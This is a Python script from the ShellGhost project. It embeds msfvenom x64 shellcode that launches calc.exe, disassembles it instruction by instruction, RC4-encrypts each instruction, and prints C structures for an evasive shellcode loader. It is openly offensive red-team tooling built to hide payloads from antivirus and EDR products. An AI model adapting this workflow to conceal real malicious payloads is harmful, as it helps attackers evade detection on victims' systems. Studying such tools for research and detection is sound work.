mirror of
https://github.com/lem0nSec/ShellGhost
synced 2026-06-06 16:04:35 +00:00
210 lines
7.5 KiB
Python
210 lines
7.5 KiB
Python
# ----------------------------------------------------------------------------------------------#
|
|
# Author: Angelo Frasca Caccia (lem0nSec_) #
|
|
# Date: 16/01/2023 #
|
|
# Title: ShellGhost_mapping.py (shellcode mapping script for ShellGhost) #
|
|
# Website: https://github.com/lem0nSec/ShellGhost #
|
|
# Credits: https://github.com/fishstiqz/nasmshell (nasmshell) #
|
|
# https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071 (RC4 encryption) #
|
|
# ----------------------------------------------------------------------------------------------#
|
|
|
|
|
|
|
|
import subprocess
|
|
import tempfile
|
|
import sys
|
|
import os
|
|
from typing import Iterator
|
|
from math import floor
|
|
|
|
|
|
# msfvenom -p windows/x64/exec cmd=calc.exe EXITFUNC=thread -e generic/none -f python
|
|
buf = b""
|
|
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
|
|
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
|
|
buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
|
|
buf += b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
|
|
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
|
|
buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
|
|
buf += b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
|
|
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
|
|
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
|
|
buf += b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
|
|
buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
|
|
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
|
|
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
|
|
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
|
|
buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
|
|
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
|
|
buf += b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
|
|
buf += b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
|
|
buf += b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
|
|
buf += b"\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
|
|
buf += b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
|
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
|
|
buf += b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
|
|
|
|
# RC4 key
|
|
key = b"\x3b\x21\xff\x41\xe3"
|
|
|
|
|
|
|
|
def key_scheduling(key: bytes) -> list[int]:
|
|
sched = [i for i in range(0, 256)]
|
|
|
|
i = 0
|
|
for j in range(0, 256):
|
|
i = (i + sched[j] + key[j % len(key)]) % 256
|
|
tmp = sched[j]
|
|
sched[j] = sched[i]
|
|
sched[i] = tmp
|
|
|
|
return sched
|
|
|
|
|
|
def stream_generation(sched: list[int]) -> Iterator[bytes]:
|
|
i, j = 0, 0
|
|
while True:
|
|
i = (1 + i) % 256
|
|
j = (sched[i] + j) % 256
|
|
tmp = sched[j]
|
|
sched[j] = sched[i]
|
|
sched[i] = tmp
|
|
yield sched[(sched[i] + sched[j]) % 256]
|
|
|
|
|
|
def encrypt(plaintext: bytes, key: bytes) -> bytes:
|
|
sched = key_scheduling(key)
|
|
key_stream = stream_generation(sched)
|
|
|
|
ciphertext = b''
|
|
for char in plaintext:
|
|
enc = char ^ next(key_stream)
|
|
ciphertext += bytes([enc])
|
|
|
|
return ciphertext
|
|
|
|
|
|
def parse(buf_out):
|
|
cur_op = []
|
|
cur_offset = []
|
|
cur_instr = []
|
|
|
|
for line in buf_out.splitlines():
|
|
line = line.strip()
|
|
elems = line.split(None, 2)
|
|
|
|
if len(elems) == 3:
|
|
cur_op.append(elems[1])
|
|
cur_offset.append(elems[0])
|
|
cur_instr.append(elems[2])
|
|
|
|
elif len(elems) == 1 and elems[0][0] == '-':
|
|
cur_op[-1] += elems[0][1:]
|
|
|
|
return cur_offset,cur_instr, cur_op
|
|
|
|
|
|
def disassemble(binfile, bits):
|
|
proc = subprocess.Popen(["ndisasm", "-b%u"%(bits), binfile], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
buf_out, buf_err = proc.communicate()
|
|
buf_out = buf_out.decode()
|
|
buf_err = buf_err.decode()
|
|
return parse(buf_out)
|
|
|
|
|
|
def createBinfile(binfd, binfile):
|
|
binfd, binfile = tempfile.mkstemp()
|
|
os.write(binfd, buf)
|
|
os.close(binfd)
|
|
return binfile
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
global usage
|
|
usage = f"Usage: python {sys.argv[0]} --help"
|
|
|
|
if len(sys.argv) < 2:
|
|
print(usage)
|
|
sys.exit(0)
|
|
|
|
if sys.argv[1] == "--help":
|
|
print("-1: print C struct shellcode mapping")
|
|
print("-2: print C struct shellcode mapping + instructions")
|
|
print("-3: print Python variables to encrypt")
|
|
print("-4: print encrypted shellcode in C format")
|
|
sys.exit(0)
|
|
|
|
mod = sys.argv[1]
|
|
if mod:
|
|
try:
|
|
bits = 64 # 64 bit shellcode
|
|
binfile = None
|
|
|
|
if mod == "-1":
|
|
binfd = None
|
|
binfile = createBinfile(binfd, binfile)
|
|
cur_offset = ((disassemble(binfile, bits))[0])
|
|
cur_instr = ((disassemble(binfile, bits))[1])
|
|
cur_op = ((disassemble(binfile, bits))[2])
|
|
i = 0
|
|
for opcode in cur_op:
|
|
print(f"instruction[{i}].RVA = {str(int(cur_offset[i], 16))};\n" + f"instruction[{i}].quota = {str(floor(len(opcode) / 2))};")
|
|
i += 1
|
|
|
|
elif mod == "-2":
|
|
binfd = None
|
|
binfile = createBinfile(binfd, binfile)
|
|
cur_offset = ((disassemble(binfile, bits))[0])
|
|
cur_instr = ((disassemble(binfile, bits))[1])
|
|
cur_op = ((disassemble(binfile, bits))[2])
|
|
i = 0
|
|
for opcode in cur_op:
|
|
print(f"instruction[{i}].RVA = {str(int(cur_offset[i], 16))};\n" + f"instruction[{i}].quota = {str(floor(len(opcode) / 2))};" + f" {cur_instr[i]}")
|
|
i += 1
|
|
|
|
elif mod == "-3":
|
|
binfd = None
|
|
binfile = createBinfile(binfd, binfile)
|
|
cur_offset = ((disassemble(binfile, bits))[0])
|
|
cur_instr = ((disassemble(binfile, bits))[1])
|
|
cur_op = ((disassemble(binfile, bits))[2])
|
|
alca = []
|
|
for num in range(len(cur_op)):
|
|
for i in cur_op[num]:
|
|
alca.append(i)
|
|
ops = [''.join(alca[i:i+2]) for i in range(0, len(alca), 2)]
|
|
print(f"buf{num} = b\"\\x" + "\\x".join(ops) + "\"")
|
|
alca = []
|
|
|
|
elif mod == "-4":
|
|
binfd = None
|
|
binfile = createBinfile(binfd, binfile)
|
|
cur_offset = ((disassemble(binfile, bits))[0])
|
|
cur_instr = ((disassemble(binfile, bits))[1])
|
|
cur_op = ((disassemble(binfile, bits))[2])
|
|
instrCount = 0
|
|
alca = []
|
|
a = []
|
|
for num in range(len(cur_op)):
|
|
for i in cur_op[num]:
|
|
alca.append(i)
|
|
ops = [''.join(alca[i:i+2]) for i in range(0, len(alca), 2)]
|
|
var = f"b\"\\x" + "\\x".join(ops) + "\""
|
|
result = encrypt(eval(var), key)
|
|
for s in result:
|
|
a.append(hex(s))
|
|
instrCount += 1
|
|
alca = []
|
|
print("\nunsigned char sh[] = { " + ", ".join(a) + " };")
|
|
print(f"\nstatic CRYPT_BYTES_QUOTA instruction[{instrCount}];")
|
|
print("static DWORD instructionCount = " + str(instrCount) + ";")
|
|
|
|
else:
|
|
print(usage)
|
|
exit()
|
|
|
|
finally:
|
|
if binfile:
|
|
os.unlink(binfile)
|